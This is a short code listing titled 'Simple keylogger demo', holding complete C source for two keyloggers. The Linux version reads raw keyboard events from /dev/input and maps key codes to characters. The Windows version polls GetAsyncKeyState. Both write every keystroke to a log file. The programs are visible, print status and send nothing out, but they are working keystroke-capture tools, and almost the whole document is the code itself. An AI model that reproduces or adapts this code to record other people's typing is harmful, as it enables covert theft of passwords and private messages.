Simple keylogger demo

keylogger_linux.c

#include <stdio.h>
#include <fcntl.h>
#include <linux/input.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

FILE *logfile;
int key_count = 0;
const char code_map[][20] = {
    "[KEY_RESERVED]", "[KEY_ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=",
    "[KEY_BACKSPACE]", "[KEY_TAB]", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "[", "]",
    "[KEY_ENTER]\n", "[KEY_CTRL]", "a", "s", "d", "f", "g", "h", "j", "k", "l", ";", "'", "`",
    "[KEY_SHIFT]", "\\", "z", "x", "c", "v", "b", "n", "m", ",", ".", "/", "[KEY_SHIFT]",
    "[KP_ASTERISK]", "[KEY_ALT]", " ", "[KEY_CAPS]", "[KEY_F1]", "[KEY_F2]", "[KEY_F3]",
    "[KEY_F4]", "[KEY_F5]", "[KEY_F6]", "[KEY_F7]", "[KEY_F8]", "[KEY_F9]", "[KEY_F10]",
    "[KEY_NUM]", "[KEY_SCROLL]", "[KEYPAD_HOME]", "[KEYPAD_UP]", "[KEYPAD_PGUP]", "-",
    "[KEYPAD_LEFT]", "", "[KEYPAD_RIGHT]", "+", "[KEYPAD_END]", "[KEYPAD_DOWN]", "[KEYPAD_PGDN]",
    "[KEYPAD_INS]", "[KEYPAD_DEL]", "", "", "[KEY_F11]", "[KEY_F12]", "", "", "", "", "", "", "",
    "[KEY_KPENTER]\n", "[KEY_RIGHTCTRL]", "/", "", "[RIGHT_ALT]", "", "[KEY_HOME]", "[KEY_UP]",
    "[KEY_PGUP]", "[KEY_LEFT]", "[KEY_RIGHT]", "[KEY_END]", "[KEY_DOWN]", "[KEY_PGDN]",
    "[KEY_INSERT]", "[KEY_DELETE]", "", "[KEY_MUTE]", "[KEY_VOLDOWN]", "[KEY_VOLUP]",
    "[KEY_KPEQUAL]", "", "", ""
};

void exitHandler(){
    printf("\n--------- Exiting keylogger --------\n");
    if(logfile != NULL){
        fclose(logfile);
    }
    exit(0);
}

char *getKeyboardFile(){
    FILE *res = popen("readlink -f /dev/input/by-path/$(ls /dev/input/by-path/ 2>/dev/null | grep kbd)", "r");
    if (res == NULL){
        return NULL;
    }

    char *fn = calloc(20, sizeof(char));
    fscanf(res, "%s", fn);
    return fn;
}

void logKey(int key){
    fprintf(logfile, "%s", code_map[key]);
    key_count++;
    printf("\rKeys logged: %5d       ", key_count);
    fflush(stdout);
}

int main(int argc, char **argv){
    if(argc != 2){
        printf("Invalid argument count!\n");
        printf("Usage: %s logfile\n\n", argv[0]);
        return 0;
    }

    // Find keyboard device to read from
    char *dev = getKeyboardFile();
    printf("Keyboard file: %s\n", dev);
    printf("Log file: %s\n", argv[1]);
    logfile = fopen(argv[1], "w");
    if(logfile == NULL){
        printf("Failed to open log file for writing!\n");
        return 1;
    }

    struct input_event ev;
    int devFile = open(dev, O_RDONLY);
    if(devFile == -1){
        printf("Failed to open device for reading!\n");
        printf("Are you running as root?\n");
        return 1;
    }

    signal(SIGINT, exitHandler);
    printf("\n------- Starting keylogger -------\n");
    printf("Keys logged: %5d       ", key_count);
    fflush(stdout);

    while(1){
        read(devFile, &ev, sizeof(ev));
        if (ev.type == 1 && ev.value == 1){
            logKey(ev.code);
        }
    }
}

keylogger_windows.c

#include <stdio.h>
#include <signal.h>
#include <windows.h>
#include <stdlib.h>

FILE *logfile;
int key_count = 0;
short KEY_MASK = 1 << (sizeof(short) * 8 - 1);

void exitHandler(){
    printf("\n--------- Exiting keylogger --------\n");
    if(logfile != NULL){
        fclose(logfile);
    }
    exit(0);
}

void logKey(int key){
    fprintf(logfile, "%c", key);
    key_count++;
    printf("\rKeys logged: %5d       ", key_count);
    fflush(stdout);
}

int main(int argc, char **argv){
       if(argc != 2){
        printf("Invalid argument count!\n");
        printf("Usage: %s logfile\n\n", argv[0]);
        return 0;
    }

    printf("Log file: %s\n", argv[1]);
    // Open log file
    logfile = fopen(argv[1], "w");
    if(logfile == NULL){
        printf("Failed to open log file for writing!\n");
        return 1;
    }

    signal(SIGINT, exitHandler);
    printf("\n------- Starting keylogger -------\n");
    printf("Keys logged: %5d       ", key_count);
    fflush(stdout);

    while(1){
        for(int key = 0x01; key <= 0xfe; key++){
            short state = GetAsyncKeyState(key);
            if(state & KEY_MASK){
                logKey(key);
                Sleep(10);
            }
        }
        Sleep(80);
    }
}